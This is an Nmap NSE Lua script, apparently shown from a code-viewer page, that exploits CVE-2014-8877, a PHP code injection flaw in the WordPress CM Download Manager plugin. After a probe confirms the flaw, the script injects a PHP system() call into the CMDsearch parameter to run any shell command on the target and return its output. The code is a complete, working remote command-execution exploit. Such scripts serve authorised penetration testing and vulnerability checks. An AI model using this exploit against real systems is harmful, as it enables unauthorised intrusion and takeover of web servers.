1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
|
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local url = require "url"
local vulns = require "vulns"
local base64 = require "base64"
local rand = require "rand"
description = [[
Exploits a remote code injection vulnerability (CVE-2014-8877) in Wordpress CM
Download Manager plugin. Versions <= 2.0.0 are known to be affected.
CM Download Manager plugin does not correctly sanitise the user input which
allows remote attackers to execute arbitrary PHP code via the CMDsearch
parameter to cmdownloads/, which is processed by the PHP 'create_function'
function.
The script injects PHP system() function into the vulnerable target in order to
execute specified shell command.
]]
---
-- @usage
-- nmap --script http-vuln-cve2014-8877 --script-args http-vuln-cve2014-8877.cmd="whoami",http-vuln-cve2014-8877.uri="/wordpress" <target>
-- nmap --script http-vuln-cve2014-8877 <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-vuln-cve2014-8877:
-- | VULNERABLE:
-- | Code Injection in Wordpress CM Download Manager plugin
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2014-8877
-- | CM Download Manager plugin does not correctly sanitise the user input
-- | which allows remote attackers to execute arbitrary PHP code via the
-- | CMDsearch parameter to cmdownloads/, which is processed by the PHP
-- | 'create_function' function.
-- |
-- | Disclosure date: 2014-11-14
-- | Exploit results:
-- | Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux
-- | References:
-- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8877
--
-- @args http-vuln-cve2014-8877.uri Wordpress root directory on the website. Default: /
-- @args http-vuln-cve2014-8877.cmd Command to execute. Default: nil
---
author = "Mariusz Ziulek <mzet()owasp org>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}
portrule = shortport.http
function genHttpReq(host, port, uri, cmd)
local rnd = nil
local payload = nil
local vulnPath = '/cmdownloads/?CMDsearch='
if cmd ~= nil then
payload = '".system("'..cmd..'")."'
else
rnd = rand.random_alpha(15)
local encRnd = base64.enc(rnd)
payload = '".base64_decode("'..encRnd..'")."'
end
local finalUri = uri..vulnPath..url.escape(payload)
local req = http.get(host, port, finalUri)
stdnse.debug(1, ("Sending GET '%s%s%s' request"):format(uri, vulnPath, payload))
if not(rnd) then
return req
else
return req, rnd
end
end
action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
local rnd = nil
local req, rnd = genHttpReq(host, port, uri, nil)
-- check if target is vulnerable
if req.status == 200 and string.match(req.body, rnd) ~= nil then
local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = 'Code Injection in Wordpress CM Download Manager plugin',
state = vulns.STATE.NOT_VULN,
description = [[
CM Download Manager plugin does not correctly sanitise the user input
which allows remote attackers to execute arbitrary PHP code via the
CMDsearch parameter to cmdownloads/, which is processed by the PHP
'create_function' function.
]],
IDS = {CVE = 'CVE-2014-8877'},
references = {
'www.securityfocus.com/bid/71204/'
},
dates = {
disclosure = {year = '2014', month = '11', day = '14'},
},
}
stdnse.debug(1, string.format("Random string '%s' was found in the body response. Host seems to be vulnerable.", rnd))
vuln.state = vulns.STATE.EXPLOIT
-- exploit the vulnerability
if cmd ~= nil then
-- wrap cmd with pattern which is used to filter out only relevant output from the response
local pattern = rand.random_alpha(5)
req = genHttpReq(host, port, uri, 'echo '..pattern..';'..cmd..';echo '..pattern..';')
if req.status == 200 then
-- take first lazy match as command output
local cmdOut = nil
for m in string.gmatch(req.body, pattern..'\n(.-)\n'..pattern) do
cmdOut = m
break
end
if cmdOut ~= nil then
vuln.exploit_results = cmdOut
end
end
end
return vulnReport:make_output(vuln)
end
end
|
